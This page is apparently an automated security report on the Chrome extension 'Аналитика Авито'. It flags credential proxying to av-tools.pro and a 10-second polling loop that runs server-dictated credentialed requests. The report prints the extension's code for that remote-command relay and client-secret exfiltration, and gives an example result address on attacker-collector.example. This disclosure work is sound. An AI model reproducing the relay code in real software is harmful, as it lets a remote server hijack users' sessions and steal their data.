Is Аналитика Авито safe?

Medium risk

Аналитика Авито polls its own server every 10s for HTTP instructions it executes with the user's Avito session cookies.

In the background the extension asks av-tools.pro for a pending 'operation' every 10 seconds, then carries out whatever request that server specifies (any URL, method, headers, and body) using the user's own logged-in Avito credentials, and posts the full result back to a server-chosen address. For sellers who have set up an Avito Developer API client, it also reads that client's ID and secret from the user's Avito profile and routes every Developer API call, including the token exchange carrying the plaintext client secret, through av-tools.pro's own proxy instead of contacting Avito's API directly.

Инструментыv3.0.0Chrome Web Store
55Risk
Who publishes it

Инструменты - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Инструменты

Same store account

2 other listings published from this account, 12k+ users between them. 2 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Avito API client credential and bearer tokens routed through vendor proxy

If your Avito seller account has a registered API client, the extension reads its client credential from your profile, then routes the token exchange and every later API call through the vendor's own server instead of Avito's API.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

A seller who has registered an Avito Developer API (OpenAPI) client opens the extension's promotion pricing or auto-bid tool.

The extension did this

The extension reads that client's id and credential from the seller's profile, then sends the credential and every Bearer token to the vendor's server instead of Avito's API.

The vendor's backend performs the actual Avito API calls on the extension's behalf.

The code that does this

request() sends to av-tools.pro instead of the URL it was given

Readable version
class AvitoApiClient {  constructor(clientId, clientSecret) {    this.client_id = clientId;    this.client_secret = clientSecret;    this.token = null;    this.tokenExpiration = null;  }  async getToken() {    if (this.hasValidCachedToken()) return;    // Descriptor names api.avito.ru as the target...    const resp = await (await this.request({      url: "https://api.avito.ru/token",      method: "POST",      headers: { "Content-Type": "application/x-www-form-urlencoded" },      form: { client_id: this.client_id, client_secret: this.client_secret, grant_type: "client_credentials" }    })).json();    this.token = resp.access_token;    this.tokenExpiration = Date.now() + resp.expires_in * 1000;    localStorage.setItem("avito_token", this.token);    localStorage.setItem("avito_token_expiration", this.tokenExpiration);  }  async request(descriptor) {    // ...but request() ignores descriptor.url entirely and sends the    // whole descriptor, including the plaintext client_secret, to the    // vendor's own backend, which performs the real call to Avito.    const resp = await fetch("https://av-tools.pro/ext/request_avito", {      method: "POST",      body: JSON.stringify(descriptor)    });    if (!resp.ok) throw new Error(await resp.text());    return resp;  }}
The code that does this

Where client_id/client credential are read from your own Avito profile

Readable version
fetchWithSession("https://www.avito.ru/web/1/profile/openapi/clients", "GET", null, { "Content-Type": "application/json" })  .then(resp => {    if (resp.ok) {      resp.json().then(clients => {        if (clients.length > 0) {          // Takes the seller's first registered OpenAPI client and          // hands its id/secret straight to AvitoApiClient above.          avitoClient.value = new AvitoApiClient(clients[0].clientId, clients[0].clientSecret);        }      });    }  });
What reaches the vendor's server in the proxied request
  • OAuth client credential
    client_secret=<redacted>

    Sent in plaintext in the POST body during the token exchange, instead of only to Avito's own token endpoint.

  • Bearer access token
    Authorization: Bearer <redacted>

    Every subsequent API call's Authorization header is sent to the vendor's server, which makes the real Avito call on your behalf.

  • Full request body
    {"itemID":123456789,"bidPenny":500}

    Calls like setting bid prices or ad promotion are forwarded whole, since av-tools.pro is the one that actually talks to Avito.

Where your API credentials end up
    • av-tools.pro

    The extension's own vendor backend; receives your OAuth client credential and every Bearer token, and performs the real Avito API calls server-side.

    • api.avito.ru

    Named as the request target in the code, but never contacted directly by the extension itself; av-tools.pro calls it instead.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Vendor server can direct the extension to request any URL using your session

Every 10 seconds the extension asks its own server for an 'operation'.

If one arrives, it makes the exact request the server describes, using your logged-in session, then sends the whole result to a server-chosen address.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

The background service worker polls its own backend for a pending 'operation' every 10 seconds, regardless of what site you're on.

The extension did this

When the backend response includes an id field, the extension reads a url, method, headers, and two callback addresses out of that response and treats it as an instruction.

Nothing in the extension code restricts which url or which callback address the server is allowed to send.

The code that does this

The unrestricted request-and-relay function

Readable version
function pollForOperation() {  const flags = { user_id: cachedUser?.id, hasTariff: cachedUser?.hasTariff, hasWordstat: cachedUser?.hasWordstat, hasDashboard: cachedUser?.hasDashboard, hasAvitoPro: cachedUser?.hasAvitoPro };  const qs = new URLSearchParams(flags).toString();  fetch("https://av-tools.pro/ext/get_operation_user?" + qs)    .then(r => r.json())    .then(op => { if ("id" in op) runOperation(op); });}function runOperation(op) {  const { url, method, params, headers, success_url, fail_url } = op;  // No check that `url` is an Avito domain, and no check that  // `success_url` / `fail_url` are trusted destinations.  fetch(url, {    method: method || "GET",    credentials: "include",           // the user's session cookies ride along    headers: headers || {},    body: params ? JSON.stringify(JSON.parse(params)) : null  })    .then(resp => {      const headerObj = {};      for (const [k, v] of resp.headers.entries()) headerObj[k] = v;      return resp.ok        ? resp.text().then(body => { try { return JSON.parse(body); } catch { return body; } })        : resp.text().then(body => { throw { status: resp.status, statusText: resp.statusText, headers: headerObj, body }; });    })    .then(result => forwardResult(success_url, result))    .catch(err => forwardResult(fail_url, { error: err.statusText || "Unknown error", status: err.status || "Unknown status", headers: err.headers || {}, body: err.body || "No response body" }));}function forwardResult(destination, payload) {  fetch(destination, { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) });}setInterval(pollForOperation, 10000);
What the server's 'operation' object controls
  • Request target
    https://www.avito.ru/web/1/profile

    Any URL the server names, including sites you're logged into elsewhere in that browser session.

  • Session cookies
    credentials: "include"

    The extension attaches your logged-in session to whatever request the server described.

  • Result destination
    https://attacker-collector.example/collect

    Where the captured response, including its headers and body, gets sent next.

Hosts involved in this behavior
    • av-tools.pro

    The extension's own vendor backend; issues the periodic instruction and can name any request target and any result destination.

When this fires

Every 10 seconds

Runs every 10 seconds for as long as the service worker is alive, independent of any open Avito tab.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 3.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on avito.ru

    *://*.avito.ru/*

  • Read and change your data on av-tools.pro

    *://av-tools.pro/*

  • Watch every request your browser makes

    webRequest

  • Act on the current tab, but only after you click the extension

    activeTab

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Аналитика Авито contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • av-tools.pro

    Аналитика Авито sends data to av-tools.pro. One other extension we have analysed sends data here.

Updated 30 September 2026jokhjkogggdlkbdcddfafifdhmenapco